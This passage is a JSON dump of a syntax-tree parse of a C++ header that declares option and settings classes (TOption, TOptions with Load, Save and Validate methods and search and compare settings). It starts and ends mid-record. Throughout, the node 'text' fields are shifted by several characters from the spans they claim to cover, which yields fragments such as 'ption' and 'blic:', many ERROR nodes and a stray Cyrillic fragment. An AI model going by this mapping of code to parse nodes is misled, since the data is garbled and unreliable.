20, "type": "identifier", "text": "ption\r\n", "parent": 18, "children": [], "start_point": {"row": 36, "column": 10}, "end_point": {"row": 36, "column": 17}}, {"id": 21, "type": "labeled_statement", "text": "blic:\r\n TOption(int *pValue, const TChar* section, const TChar* key, int default, \r\n int min = INT_MIN, int max = INT_MAX);\r\n", "parent": 18, "children": [22], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 40, "column": 50}}, {"id": 22, "type": "statement_identifier", "text": "blic:\r", "parent": 21, "children": [], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 10}}, {"id": 23, "type": "call_expression", "text": "ption(int *pValue, const TChar* section, const TChar* key, int default, \r\n int min = INT_MIN, int max = INT_MAX);\r", "parent": 21, "children": [24, 25], "start_point": {"row": 39, "column": 8}, "end_point": {"row": 40, "column": 49}}, {"id": 24, "type": "identifier", "text": "ption(i", "parent": 23, "children": [], "start_point": {"row": 39, "column": 8}, "end_point": {"row": 39, "column": 15}}, {"id": 25, "type": "argument_list", "text": "nt *pValue, const TChar* section, const TChar* key, int default, \r\n int min = INT_MIN, int max = INT_MAX);\r", "parent": 23, "children": [26, 30, 32, 36, 38, 42, 44, 45, 47, 51, 53], "start_point": {"row": 39, "column": 15}, "end_point": {"row": 40, "column": 49}}, {"id": 26, "type": "binary_expression", "text": "t *pValue, ", "parent": 25, "children": [27, 28, 29], "start_point": {"row": 39, "column": 16}, "end_point": {"row": 39, "column": 27}}, {"id": 27, "type": "identifier", "text": "t *", "parent": 26, "children": [], "start_point": {"row": 39, "column": 16}, "end_point": {"row": 39, "column": 19}}, {"id": 28, "type": "*", "text": "V", "parent": 26, "children": [], "start_point": {"row": 39, "column": 20}, "end_point": {"row": 39, "column": 21}}, {"id": 29, "type": "identifier", "text": "alue, ", "parent": 26, "children": [], "start_point": {"row": 39, "column": 21}, "end_point": {"row": 39, "column": 27}}, {"id": 30, "type": "ERROR", "text": "nst T", "parent": 25, "children": [31], "start_point": {"row": 39, "column": 29}, "end_point": {"row": 39, "column": 34}}, {"id": 31, "type": "identifier", "text": "nst T", "parent": 30, "children": [], "start_point": {"row": 39, "column": 29}, "end_point": {"row": 39, "column": 34}}, {"id": 32, "type": "binary_expression", "text": "har* section, ", "parent": 25, "children": [33, 34, 35], "start_point": {"row": 39, "column": 35}, "end_point": {"row": 39, "column": 49}}, {"id": 33, "type": "identifier", "text": "har* ", "parent": 32, "children": [], "start_point": {"row": 39, "column": 35}, "end_point": {"row": 39, "column": 40}}, {"id": 34, "type": "*", "text": "s", "parent": 32, "children": [], "start_point": {"row": 39, "column": 40}, "end_point": {"row": 39, "column": 41}}, {"id": 35, "type": "identifier", "text": "ction, ", "parent": 32, "children": [], "start_point": {"row": 39, "column": 42}, "end_point": {"row": 39, "column": 49}}, {"id": 36, "type": "ERROR", "text": "nst T", "parent": 25, "children": [37], "start_point": {"row": 39, "column": 51}, "end_point": {"row": 39, "column": 56}}, {"id": 37, "type": "identifier", "text": "nst T", "parent": 36, "children": [], "start_point": {"row": 39, "column": 51}, "end_point": {"row": 39, "column": 56}}, {"id": 38, "type": "binary_expression", "text": "har* key, ", "parent": 25, "children": [39, 40, 41], "start_point": {"row": 39, "column": 57}, "end_point": {"row": 39, "column": 67}}, {"id": 39, "type": "identifier", "text": "har* ", "parent": 38, "children": [], "start_point": {"row": 39, "column": 57}, "end_point": {"row": 39, "column": 62}}, {"id": 40, "type": "*", "text": "k", "parent": 38, "children": [], "start_point": {"row": 39, "column": 62}, "end_point": {"row": 39, "column": 63}}, {"id": 41, "type": "identifier", "text": "y, ", "parent": 38, "children": [], "start_point": {"row": 39, "column": 64}, "end_point": {"row": 39, "column": 67}}, {"id": 42, "type": "ERROR", "text": "t d", "parent": 25, "children": [43], "start_point": {"row": 39, "column": 69}, "end_point": {"row": 39, "column": 72}}, {"id": 43, "type": "identifier", "text": "t d", "parent": 42, "children": [], "start_point": {"row": 39, "column": 69}, "end_point": {"row": 39, "column": 72}}, {"id": 44, "type": "identifier", "text": "fault, ", "parent": 25, "children": [], "start_point": {"row": 39, "column": 73}, "end_point": {"row": 39, "column": 80}}, {"id": 45, "type": "ERROR", "text": "t m", "parent": 25, "children": [46], "start_point": {"row": 40, "column": 12}, "end_point": {"row": 40, "column": 15}}, {"id": 46, "type": "identifier", "text": "t m", "parent": 45, "children": [], "start_point": {"row": 40, "column": 12}, "end_point": {"row": 40, "column": 15}}, {"id": 47, "type": "assignment_expression", "text": "n = INT_MIN, ", "parent": 25, "children": [48, 49, 50], "start_point": {"row": 40, "column": 16}, "end_point": {"row": 40, "column": 29}}, {"id": 48, "type": "identifier", "text": "n =", "parent": 47, "children": [], "start_point": {"row": 40, "column": 16}, "end_point": {"row": 40, "column": 19}}, {"id": 49, "type": "=", "text": "I", "parent": 47, "children": [], "start_point": {"row": 40, "column": 20}, "end_point": {"row": 40, "column": 21}}, {"id": 50, "type": "identifier", "text": "T_MIN, ", "parent": 47, "children": [], "start_point": {"row": 40, "column": 22}, "end_point": {"row": 40, "column": 29}}, {"id": 51, "type": "ERROR", "text": "t m", "parent": 25, "children": [52], "start_point": {"row": 40, "column": 31}, "end_point": {"row": 40, "column": 34}}, {"id": 52, "type": "identifier", "text": "t m", "parent": 51, "children": [], "start_point": {"row": 40, "column": 31}, "end_point": {"row": 40, "column": 34}}, {"id": 53, "type": "assignment_expression", "text": "x = INT_MAX);", "parent": 25, "children": [54, 55, 56], "start_point": {"row": 40, "column": 35}, "end_point": {"row": 40, "column": 48}}, {"id": 54, "type": "identifier", "text": "x =", "parent": 53, "children": [], "start_point": {"row": 40, "column": 35}, "end_point": {"row": 40, "column": 38}}, {"id": 55, "type": "=", "text": "I", "parent": 53, "children": [], "start_point": {"row": 40, "column": 39}, "end_point": {"row": 40, "column": 40}}, {"id": 56, "type": "identifier", "text": "T_MAX);", "parent": 53, "children": [], "start_point": {"row": 40, "column": 41}, "end_point": {"row": 40, "column": 48}}, {"id": 57, "type": "unary_expression", "text": "Option(){}", "parent": 18, "children": [58, 59], "start_point": {"row": 41, "column": 8}, "end_point": {"row": 41, "column": 18}}, {"id": 58, "type": "~", "text": "O", "parent": 57, "children": [], "start_point": {"row": 41, "column": 8}, "end_point": {"row": 41, "column": 9}}, {"id": 59, "type": "call_expression", "text": "ption(){}", "parent": 57, "children": [60, 61], "start_point": {"row": 41, "column": 9}, "end_point": {"row": 41, "column": 18}}, {"id": 60, "type": "identifier", "text": "ption()", "parent": 59, "children": [], "start_point": {"row": 41, "column": 9}, "end_point": {"row": 41, "column": 16}}, {"id": 61, "type": "argument_list", "text": "{}", "parent": 59, "children": [], "start_point": {"row": 41, "column": 16}, "end_point": {"row": 41, "column": 18}}, {"id": 62, "type": "declaration", "text": "id SetDefault();\r\n", "parent": 18, "children": [63, 64], "start_point": {"row": 43, "column": 8}, "end_point": {"row": 43, "column": 26}}, {"id": 63, "type": "primitive_type", "text": "id S", "parent": 62, "children": [], "start_point": {"row": 43, "column": 8}, "end_point": {"row": 43, "column": 12}}, {"id": 64, "type": "function_declarator", "text": "tDefault();\r", "parent": 62, "children": [65], "start_point": {"row": 43, "column": 13}, "end_point": {"row": 43, "column": 25}}, {"id": 65, "type": "identifier", "text": "tDefault()", "parent": 64, "children": [], "start_point": {"row": 43, "column": 13}, "end_point": {"row": 43, "column": 23}}, {"id": 66, "type": "declaration", "text": "id Validate();\r\n", "parent": 18, "children": [67, 68], "start_point": {"row": 44, "column": 8}, "end_point": {"row": 44, "column": 24}}, {"id": 67, "type": "primitive_type", "text": "id V", "parent": 66, "children": [], "start_point": {"row": 44, "column": 8}, "end_point": {"row": 44, "column": 12}}, {"id": 68, "type": "function_declarator", "text": "lidate();\r", "parent": 66, "children": [69], "start_point": {"row": 44, "column": 13}, "end_point": {"row": 44, "column": 23}}, {"id": 69, "type": "identifier", "text": "lidate()", "parent": 68, "children": [], "start_point": {"row": 44, "column": 13}, "end_point": {"row": 44, "column": 21}}, {"id": 70, "type": "declaration", "text": "id Load(const TChar *fileName);\r\n", "parent": 18, "children": [71, 72], "start_point": {"row": 46, "column": 8}, "end_point": {"row": 46, "column": 41}}, {"id": 71, "type": "primitive_type", "text": "id L", "parent": 70, "children": [], "start_point": {"row": 46, "column": 8}, "end_point": {"row": 46, "column": 12}}, {"id": 72, "type": "function_declarator", "text": "ad(const TChar *fileName);\r", "parent": 70, "children": [73, 74], "start_point": {"row": 46, "column": 13}, "end_point": {"row": 46, "column": 40}}, {"id": 73, "type": "identifier", "text": "ad(c", "parent": 72, "children": [], "start_point": {"row": 46, "column": 13}, "end_point": {"row": 46, "column": 17}}, {"id": 74, "type": "parameter_list", "text": "onst TChar *fileName);\r", "parent": 72, "children": [75], "start_point": {"row": 46, "column": 17}, "end_point": {"row": 46, "column": 40}}, {"id": 75, "type": "parameter_declaration", "text": "nst TChar *fileName);", "parent": 74, "children": [76, 77, 78], "start_point": {"row": 46, "column": 18}, "end_point": {"row": 46, "column": 39}}, {"id": 76, "type": "type_qualifier", "text": "nst T", "parent": 75, "children": [], "start_point": {"row": 46, "column": 18}, "end_point": {"row": 46, "column": 23}}, {"id": 77, "type": "type_identifier", "text": "har *", "parent": 75, "children": [], "start_point": {"row": 46, "column": 24}, "end_point": {"row": 46, "column": 29}}, {"id": 78, "type": "pointer_declarator", "text": "ileName);", "parent": 75, "children": [79, 80], "start_point": {"row": 46, "column": 30}, "end_point": {"row": 46, "column": 39}}, {"id": 79, "type": "*", "text": "i", "parent": 78, "children": [], "start_point": {"row": 46, "column": 30}, "end_point": {"row": 46, "column": 31}}, {"id": 80, "type": "identifier", "text": "leName);", "parent": 78, "children": [], "start_point": {"row": 46, "column": 31}, "end_point": {"row": 46, "column": 39}}, {"id": 81, "type": "ERROR", "text": "ol Save(const TChar *fileName) const;\r", "parent": 18, "children": [82, 83], "start_point": {"row": 47, "column": 8}, "end_point": {"row": 47, "column": 46}}, {"id": 82, "type": "primitive_type", "text": "ol S", "parent": 81, "children": [], "start_point": {"row": 47, "column": 8}, "end_point": {"row": 47, "column": 12}}, {"id": 83, "type": "function_declarator", "text": "ve(const TChar *fileName) const;\r", "parent": 81, "children": [84, 85, 92], "start_point": {"row": 47, "column": 13}, "end_point": {"row": 47, "column": 46}}, {"id": 84, "type": "identifier", "text": "ve(c", "parent": 83, "children": [], "start_point": {"row": 47, "column": 13}, "end_point": {"row": 47, "column": 17}}, {"id": 85, "type": "parameter_list", "text": "onst TChar *fileName) c", "parent": 83, "children": [86], "start_point": {"row": 47, "column": 17}, "end_point": {"row": 47, "column": 40}}, {"id": 86, "type": "parameter_declaration", "text": "nst TChar *fileName) ", "parent": 85, "children": [87, 88, 89], "start_point": {"row": 47, "column": 18}, "end_point": {"row": 47, "column": 39}}, {"id": 87, "type": "type_qualifier", "text": "nst T", "parent": 86, "children": [], "start_point": {"row": 47, "column": 18}, "end_point": {"row": 47, "column": 23}}, {"id": 88, "type": "type_identifier", "text": "har *", "parent": 86, "children": [], "start_point": {"row": 47, "column": 24}, "end_point": {"row": 47, "column": 29}}, {"id": 89, "type": "pointer_declarator", "text": "ileName) ", "parent": 86, "children": [90, 91], "start_point": {"row": 47, "column": 30}, "end_point": {"row": 47, "column": 39}}, {"id": 90, "type": "*", "text": "i", "parent": 89, "children": [], "start_point": {"row": 47, "column": 30}, "end_point": {"row": 47, "column": 31}}, {"id": 91, "type": "identifier", "text": "leName) ", "parent": 89, "children": [], "start_point": {"row": 47, "column": 31}, "end_point": {"row": 47, "column": 39}}, {"id": 92, "type": "identifier", "text": "nst;\r", "parent": 83, "children": [], "start_point": {"row": 47, "column": 41}, "end_point": {"row": 47, "column": 46}}, {"id": 93, "type": "labeled_statement", "text": "ivate:\r\n int *m_pValue;\r\n", "parent": 18, "children": [94, 95], "start_point": {"row": 49, "column": 4}, "end_point": {"row": 50, "column": 22}}, {"id": 94, "type": "statement_identifier", "text": "ivate:\r", "parent": 93, "children": [], "start_point": {"row": 49, "column": 4}, "end_point": {"row": 49, "column": 11}}, {"id": 95, "type": "declaration", "text": "t *m_pValue;\r\n", "parent": 93, "children": [96, 97], "start_point": {"row": 50, "column": 8}, "end_point": {"row": 50, "column": 22}}, {"id": 96, "type": "primitive_type", "text": "t *", "parent": 95, "children": [], "start_point": {"row": 50, "column": 8}, "end_point": {"row": 50, "column": 11}}, {"id": 97, "type": "pointer_declarator", "text": "_pValue;\r", "parent": 95, "children": [98, 99], "start_point": {"row": 50, "column": 12}, "end_point": {"row": 50, "column": 21}}, {"id": 98, "type": "*", "text": "_", "parent": 97, "children": [], "start_point": {"row": 50, "column": 12}, "end_point": {"row": 50, "column": 13}}, {"id": 99, "type": "identifier", "text": "pValue;\r", "parent": 97, "children": [], "start_point": {"row": 50, "column": 13}, "end_point": {"row": 50, "column": 21}}, {"id": 100, "type": "declaration", "text": "tring m_key;\r\n", "parent": 18, "children": [101, 102], "start_point": {"row": 51, "column": 8}, "end_point": {"row": 51, "column": 22}}, {"id": 101, "type": "type_identifier", "text": "tring m", "parent": 100, "children": [], "start_point": {"row": 51, "column": 8}, "end_point": {"row": 51, "column": 15}}, {"id": 102, "type": "identifier", "text": "key;\r", "parent": 100, "children": [], "start_point": {"row": 51, "column": 16}, "end_point": {"row": 51, "column": 21}}, {"id": 103, "type": "declaration", "text": "tring m_section;\r\n", "parent": 18, "children": [104, 105], "start_point": {"row": 52, "column": 8}, "end_point": {"row": 52, "column": 26}}, {"id": 104, "type": "type_identifier", "text": "tring m", "parent": 103, "children": [], "start_point": {"row": 52, "column": 8}, "end_point": {"row": 52, "column": 15}}, {"id": 105, "type": "identifier", "text": "section;\r", "parent": 103, "children": [], "start_point": {"row": 52, "column": 16}, "end_point": {"row": 52, "column": 25}}, {"id": 106, "type": "declaration", "text": "t m_default; /", "parent": 18, "children": [107, 108], "start_point": {"row": 53, "column": 8}, "end_point": {"row": 53, "column": 22}}, {"id": 107, "type": "primitive_type", "text": "t m", "parent": 106, "children": [], "start_point": {"row": 53, "column": 8}, "end_point": {"row": 53, "column": 11}}, {"id": 108, "type": "identifier", "text": "default; ", "parent": 106, "children": [], "start_point": {"row": 53, "column": 12}, "end_point": {"row": 53, "column": 21}}, {"id": 109, "type": "declaration", "text": "nt m_max;\t", "parent": 18, "children": [110, 111], "start_point": {"row": 54, "column": 8}, "end_point": {"row": 54, "column": 18}}, {"id": 110, "type": "primitive_type", "text": "nt ", "parent": 109, "children": [], "start_point": {"row": 54, "column": 8}, "end_point": {"row": 54, "column": 11}}, {"id": 111, "type": "identifier", "text": "_max;", "parent": 109, "children": [], "start_point": {"row": 54, "column": 12}, "end_point": {"row": 54, "column": 17}}, {"id": 112, "type": "declaration", "text": "\u044c\u043d\u043e\u0435\r\n ", "parent": 18, "children": [113, 114], "start_point": {"row": 55, "column": 8}, "end_point": {"row": 55, "column": 18}}, {"id": 113, "type": "primitive_type", "text": "\u044c\u043d\u043e", "parent": 112, "children": [], "start_point": {"row": 55, "column": 8}, "end_point": {"row": 55, "column": 11}}, {"id": 114, "type": "identifier", "text": "\r\n ", "parent": 112, "children": [], "start_point": {"row": 55, "column": 12}, "end_point": {"row": 55, "column": 17}}, {"id": 115, "type": "struct_specifier", "text": "String userPath;\r\n TString statisticsPath;\r\n\r\n TPathContainer searchPaths;\r\n TPathContainer ignorePaths;\r\n TPathContainer validPaths;\r\n TPathContainer deletePaths;\r\n\r\n adSearchOptions search;\r\n adCompareOptions compare;\r\n adDefectOptions defect;\r\n adAdvancedOptions advanced;\r\n\r\n TOptions(const TString & userPath_);\r\n\r\n void SetDefault();\r\n void Validate();\r\n\r\n adError Import(adOptionsType optionsType, void* pOptions);\r\n adError Export(adOptionsType optionsType, void* pOptions) const;\r\n\r\n adError Load(const TChar *fileName);\r\n adError Save(const TChar *fileName) const;\r\n\r\n int GetIgnoreWidthFrame() const;\r\n\r\n private:\r\n typedef std::list<TOption> TOptionsList;\r\n\r\n TOptionsList m_options;\r\n };\r\n //------------------------", "parent": 15, "children": [116, 117], "start_point": {"row": 58, "column": 4}, "end_point": {"row": 90, "column": 5}}, {"id": 116, "type": "struct", "text": "String", "parent": 115, "children": [], "start_point": {"row": 58, "column": 4}, "end_point": {"row": 58, "column": 10}}, {"id": 117, "type": "type_identifier", "text": "userPath", "parent": 115, "children": [], "start_point": {"row": 58, "column": 11}, "end_point": {"row": 58, "column": 19}}, {"id": 118, "type": "field_declaration", "text": "g statisticsPath;", "parent": 115, "children": [119, 120], "start_point": {"row": 60, "column": 8}, "end_point": {"row": 60, "column": 25}}, {"id": 119, "type": "type_identifier", "text": "g stati", "parent": 118, "children": [], "start_point": {"row": 60, "column": 8}, "end_point": {"row": 60, "column": 15}}, {"id": 120, "type": "field_identifier", "text": "ticsPath", "parent": 118, "children": [], "start_point": {"row": 60, "column": 16}, "end_point": {"row": 60, "column": 24}}, {"id": 121, "type": "field_declaration", "text": " TPathContainer search", "parent": 115, "children": [122, 123], "start_point": {"row": 61, "column": 8}, "end_point": {"row": 61, "column": 31}}, {"id": 122, "type": "type_identifier", "text": " TPath", "parent": 121, "children": [], "start_point": {"row": 61, "column": 8}, "end_point": {"row": 61, "column": 15}}, {"id": 123, "type": "field_identifier", "text": "ontainer searc", "parent": 121, "children": [], "start_point": {"row": 61, "column": 16}, "end_point": {"row": 61, "column": 30}}, {"id": 124, "type": "field_declaration", "text": " TPathContainer ignorePa", "parent": 115, "children": [125, 126], "start_point": {"row": 63, "column": 8}, "end_point": {"row": 63, "column": 35}}, {"id": 125, "type": "type_identifier", "text": " TPathConta", "parent": 124, "children": [], "start_point": {"row": 63, "column": 8}, "end_point": {"row": 63, "column": 22}}, {"id": 126, "type": "field_identifier", "text": "ner ignoreP", "parent": 124, "children": [], "start_point": {"row": 63, "column": 23}, "end_point": {"row": 63, "column": 34}}, {"id": 127, "type": "field_declaration", "text": " TPathContainer validPat", "parent": 115, "children": [128, 129], "start_point": {"row": 64, "column": 8}, "end_point": {"row": 64, "column": 35}}, {"id": 128, "type": "type_identifier", "text": " TPathConta", "parent": 127, "children": [], "start_point": {"row": 64, "column": 8}, "end_point": {"row": 64, "column": 22}}, {"id": 129, "type": "field_identifier", "text": "ner validPa", "parent": 127, "children": [], "start_point": {"row": 64, "column": 23}, "end_point": {"row": 64, "column": 34}}, {"id": 130, "type": "field_declaration", "text": " TPathContainer deletePa", "parent": 115, "children": [131, 132], "start_point": {"row": 65, "column": 8}, "end_point": {"row": 65, "column": 34}}, {"id": 131, "type": "type_identifier", "text": " TPathContai", "parent": 130, "children": [], "start_point": {"row": 65, "column": 8}, "end_point": {"row": 65, "column": 22}}, {"id": 132, "type": "field_identifier", "text": "er deleteP", "parent": 130, "children": [], "start_point": {"row": 65, "column": 23}, "end_point": {"row": 65, "column": 33}}, {"id": 133, "type": "field_declaration", "text": " adSearchOptions searc", "parent": 115, "children": [134, 135], "start_point": {"row": 66, "column": 8}, "end_point": {"row": 66, "column": 35}}, {"id": 134, "type": "type_identifier", "text": " adSearch", "parent": 133, "children": [], "start_point": {"row": 66, "column": 8}, "end_point": {"row": 66, "column": 22}}, {"id": 135, "type": "field_identifier", "text": "ptions sear", "parent": 133, "children": [], "start_point": {"row": 66, "column": 23}, "end_point": {"row": 66, "column": 34}}, {"id": 136, "type": "field_declaration", "text": "adCompareOptions compar", "parent": 115, "children": [137, 138], "start_point": {"row": 68, "column": 8}, "end_point": {"row": 68, "column": 31}}, {"id": 137, "type": "type_identifier", "text": "adCompareOption", "parent": 136, "children": [], "start_point": {"row": 68, "column": 8}, "end_point": {"row": 68, "column": 23}}, {"id": 138, "type": "field_identifier", "text": " compa", "parent": 136, "children": [], "start_point": {"row": 68, "column": 24}, "end_point": {"row": 68, "column": 30}}, {"id": 139, "type": "field_declaration", "text": " adDefectOptions defect;", "parent": 115, "children": [140, 141], "start_point": {"row": 69, "column": 8}, "end_point": {"row": 69, "column": 33}}, {"id": 140, "type": "type_identifier", "text": " adDefectOption", "parent": 139, "children": [], "start_point": {"row": 69, "column": 8}, "end_point": {"row": 69, "column": 24}}, {"id": 141, "type": "field_identifier", "text": " defect", "parent": 139, "children": [], "start_point": {"row": 69, "column": 25}, "end_point": {"row": 69, "column": 32}}, {"id": 142, "type": "field_declaration", "text": "adAdvancedOptions advan", "parent": 115, "children": [143, 144], "start_point": {"row": 70, "column": 8}, "end_point": {"row": 70, "column": 31}}, {"id": 143, "type": "type_identifier", "text": "adAdvancedOptio", "parent": 142, "children": [], "start_point": {"row": 70, "column": 8}, "end_point": {"row": 70, "column": 23}}, {"id": 144, "type": "field_identifier", "text": "s adva", "parent": 142, "children": [], "start_point": {"row": 70, "column": 24}, "end_point": {"row": 70, "column": 30}}, {"id": 145, "type": "field_declaration", "text": " TOptions(const TStrin", "parent": 115, "children": [146, 147], "start_point": {"row": 71, "column": 8}, "end_point": {"row": 71, "column": 35}}, {"id": 146, "type": "type_identifier", "text": " TOptions(co", "parent": 145, "children": [], "start_point": {"row": 71, "column": 8}, "end_point": {"row": 71, "column": 25}}, {"id": 147, "type": "field_identifier", "text": "st TStri", "parent": 145, "children": [], "start_point": {"row": 71, "column": 26}, "end_point": {"row": 71, "column": 34}}, {"id": 148, "type": "field_declaration", "text": "_);\r\n\r\n void SetDefault();\r\n ", "parent": 115, "children": [149], "start_point": {"row": 73, "column": 8}, "end_point": {"row": 73, "column": 44}}, {"id": 149, "type": "macro_type_specifier", "text": "_);\r\n\r\n void SetDefault();\r\n", "parent": 148, "children": [150, 151, 154], "start_point": {"row": 73, "column": 8}, "end_point": {"row": 73, "column": 43}}, {"id": 150, "type": "identifier", "text": "_);\r\n\r\n ", "parent": 149, "children": [], "start_point": {"row": 73, "column": 8}, "end_point": {"row": 73, "column": 16}}, {"id": 151, "type": "type_descriptor", "text": " void Se", "parent": 149, "children": [152, 153], "start_point": {"row": 73, "column": 17}, "end_point": {"row": 73, "column": 30}}, {"id": 152, "type": "type_qualifier", "text": " ", "parent": 151, "children": [], "start_point": {"row": 73, "column": 17}, "end_point": {"row": 73, "column": 22}}, {"id": 153, "type": "type_identifier", "text": "void Se", "parent": 151, "children": [], "start_point": {"row": 73, "column": 23}, "end_point": {"row": 73, "column": 30}}, {"id": 154, "type": "ERROR", "text": "Default();\r", "parent": 149, "children": [155, 156], "start_point": {"row": 73, "column": 31}, "end_point": {"row": 73, "column": 42}}, {"id": 155, "type": "&", "text": "D", "parent": 154, "children": [], "start_point": {"row": 73, "column": 31}, "end_point": {"row": 73, "column": 32}}, {"id": 156, "type": "identifier", "text": "fault();\r", "parent": 154, "children": [], "start_point": {"row": 73, "column": 33}, "end_point": {"row": 73, "column": 42}}, {"id": 157, "type": "field_declaration", "text": "Validate();\r\n\r\n ", "parent": 115, "children": [158, 159], "start_point": {"row": 75, "column": 8}, "end_point": {"row": 75, "column": 26}}, {"id": 158, "type": "primitive_type", "text": "Vali", "parent": 157, "children": [], "start_point": {"row": 75, "column": 8}, "end_point": {"row": 75, "column": 12}}, {"id": 159, "type": "function_declarator", "text": "ate();\r\n\r\n ", "parent": 157, "children": [160, 161], "start_point": {"row": 75, "column": 13}, "end_point": {"row": 75, "column": 25}}, {"id": 160, "type": "field_identifier", "text": "ate();\r\n\r\n", "parent": 159, "children": [], "start_point": {"row": 75, "column": 13}, "end_point": {"row": 75, "column": 23}}, {"id": 161, "type": "parameter_list", "text": " ", "parent": 159, "children": [], "start_point": {"row": 75, "column": 23}, "end_point": {"row": 75, "column": 25}}, {"id": 162, "type": "field_declaration", "text": "or Import(adOpti", "parent": 115, "children": [163, 164], "start_point": {"row": 76, "column": 8}, "end_point": {"row": 76, "column": 24}}, {"id": 163, "type": "primitive_type", "text": "or I", "parent": 162, "children": [], "start_point": {"row": 76, "column": 8}, "end_point": {"row": 76, "column": 12}}, {"id": 164, "type": "function_declarator", "text": "port(adOpt", "parent": 162, "children": [165, 166], "start_point": {"row": 76, "column": 13}, "end_point": {"row": 76, "column": 23}}, {"id": 165, "type": "field_identifier", "text": "port(adO", "parent": 164, "children": [], "start_point": {"row": 76, "column": 13}, "end_point": {"row": 76, "column": 21}}, {"id": 166, "type": "parameter_list", "text": "pt", "parent": 164, "children": [], "start_point": {"row": 76, "column": 21}, "end_point": {"row": 76, "column": 23}}, {"id": 167, "type": "field_declaration", "text": "onsType, void* pOptions);\r\n adError Export(adOption", "parent": 115, "children": [168, 169], "start_point": {"row": 78, "column": 8}, "end_point": {"row": 78, "column": 66}}, {"id": 168, "type": "type_identifier", "text": "onsType", "parent": 167, "children": [], "start_point": {"row": 78, "column": 8}, "end_point": {"row": 78, "column": 15}}, {"id": 169, "type": "function_declarator", "text": " void* pOptions);\r\n adError Export(adOptio", "parent": 167, "children": [170, 171], "start_point": {"row": 78, "column": 16}, "end_point": {"row": 78, "column": 65}}, {"id": 170, "type": "field_identifier", "text": " void*", "parent": 169, "children": [], "start_point": {"row": 78, "column": 16}, "end_point": {"row": 78, "column": 22}}, {"id": 171, "type": "parameter_list", "text": " pOptions);\r\n adError Export(adOptio", "parent": 169, "children": [172, 175], "start_point": {"row": 78, "column": 22}, "end_point": {"row": 78, "column": 65}}, {"id": 172, "type": "parameter_declaration", "text": "pOptions);\r\n adErr", "parent": 171, "children": [173, 174], "start_point": {"row": 78, "column": 23}, "end_point": {"row": 78, "column": 48}}, {"id": 173, "type": "type_identifier", "text": "pOptions);\r\n ", "parent": 172, "children": [], "start_point": {"row": 78, "column": 23}, "end_point": {"row": 78, "column": 36}}, {"id": 174, "type": "identifier", "text": " adErr", "parent": 172, "children": [], "start_point": {"row": 78, "column": 37}, "end_point": {"row": 78, "column": 48}}, {"id": 175, "type": "parameter_declaration", "text": " Export(adOpti", "parent": 171, "children": [176, 177], "start_point": {"row": 78, "column": 50}, "end_point": {"row": 78, "column": 64}}, {"id": 176, "type": "primitive_type", "text": " Exp", "parent": 175, "children": [], "start_point": {"row": 78, "column": 50}, "end_point": {"row": 78, "column": 54}}, {"id": 177, "type": "pointer_declarator", "text": "ort(adOpti", "parent": 175, "children": [178, 179], "start_point": {"row": 78, "column": 54}, "end_point": {"row": 78, "column": 64}}, {"id": 178, "type": "*", "text": "o", "parent": 177, "children": [], "start_point": {"row": 78, "column": 54}, "end_point": {"row": 78, "column": 55}}, {"id": 179, "type": "identifier", "text": "t(adOpti", "parent": 177, "children": [], "start_point": {"row": 78, "column": 56}, "end_point": {"row": 78, "column": 64}}, {"id": 180, "type": "field_declaration", "text": "onsType, void* pOptions) const;\r\n\r\n adError Load(const TC", "parent": 115, "children": [181, 182, 193], "start_point": {"row": 79, "column": 8}, "end_point": {"row": 79, "column": 72}}, {"id": 181, "type": "type_identifier", "text": "onsType", "parent": 180, "children": [], "start_point": {"row": 79, "column": 8}, "end_point": {"row": 79, "column": 15}}, {"id": 182, "type": "function_declarator", "text": " void* pOptions) const;\r\n\r\n adError Load(c", "parent": 180, "children": [183, 184], "start_point": {"row": 79, "column": 16}, "end_point": {"row": 79, "column": 65}}, {"id": 183, "type": "field_identifier", "text": " void*", "parent": 182, "children": [], "start_point": {"row": 79, "column": 16}, "end_point": {"row": 79, "column": 22}}, {"id": 184, "type": "parameter_list", "text": " pOptions) const;\r\n\r\n adError Load(c", "parent": 182, "children": [185, 188], "start_point": {"row": 79, "column": 22}, "end_point": {"row": 79, "column": 65}}, {"id": 185, "type": "parameter_declaration", "text": "pOptions) const;\r\n\r\n ", "parent": 184, "children": [186, 187], "start_point": {"row": 79, "column": 23}, "end_point": {"row": 79, "column": 48}}, {"id": 186, "type": "type_identifier", "text": "pOptions) con", "parent": 185, "children": [], "start_point": {"row": 79, "column": 23}, "end_point": {"row": 79, "column": 36}}, {"id": 187, "type": "identifier", "text": "t;\r\n\r\n ", "parent": 185, "children": [], "start_point": {"row": 79, "column": 37}, "end_point": {"row": 79, "column": 48}}, {"id": 188, "type": "parameter_declaration", "text": " adError Load(", "parent": 184, "children": [189, 190], "start_point": {"row": 79, "column": 50}, "end_point": {"row": 79, "column": 64}}, {"id": 189, "type": "primitive_type", "text": " adE", "parent": 188, "children": [], "start_point": {"row": 79, "column": 50}, "end_point": {"row": 79, "column": 54}}, {"id": 190, "type": "pointer_declarator", "text": "rror Load(", "parent": 188, "children": [191, 192], "start_point": {"row": 79, "column": 54}, "end_point": {"row": 79, "column": 64}}, {"id": 191, "type": "*", "text": "r", "parent": 190, "children": [], "start_point": {"row": 79, "column": 54}, "end_point": {"row": 79, "column": 55}}, {"id": 192, "type": "identifier", "text": "or Load(", "parent": 190, "children": [], "start_point": {"row": 79, "column": 56}, "end_point": {"row": 79, "column": 64}}, {"id": 193, "type": "ERROR", "text": "nst T", "parent": 180, "children": [194], "start_point": {"row": 79, "column": 66}, "end_point": {"row": 79, "column": 71}}, {"id": 194, "type": "identifier", "text": "nst T", "parent": 193, "children": [], "start_point": {"row": 79, "column": 66}, "end_point": {"row": 79, "column": 71}}, {"id": 195, "type": "field_declaration", "text": "e);\r\n adError Save(const TCha", "parent": 115, "children": [196, 197], "start_point": {"row": 81, "column": 8}, "end_point": {"row": 81, "column": 44}}, {"id": 196, "type": "type_identifier", "text": "e);\r\n ", "parent": 195, "children": [], "start_point": {"row": 81, "column": 8}, "end_point": {"row": 81, "column": 15}}, {"id": 197, "type": "function_declarator", "text": " adError Save(const TCh", "parent": 195, "children": [198, 199], "start_point": {"row": 81, "column": 16}, "end_point": {"row": 81, "column": 43}}, {"id": 198, "type": "field_identifier", "text": " ", "parent": 197, "children": [], "start_point": {"row": 81, "column": 16}, "end_point": {"row": 81, "column": 20}}, {"id": 199, "type": "parameter_list", "text": " adError Save(const TCh", "parent": 197, "children": [200], "start_point": {"row": 81, "column": 20}, "end_point": {"row": 81, "column": 43}}, {"id": 200, "type": "parameter_declaration", "text": "adError 